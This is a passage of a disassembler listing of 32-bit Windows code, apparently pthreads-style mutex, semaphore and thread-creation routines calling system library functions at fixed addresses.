		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3E4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3E0
		mov	dword_50E3E4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3E0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3E0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3E0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3E4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3E4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E920
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E920
		call	near ptr 7C9010EDh
		nop


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		nop
		call	near ptr 2770000h


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3D8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h,	4C48377h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E8E0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		nop
		call	near ptr 27606FAh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


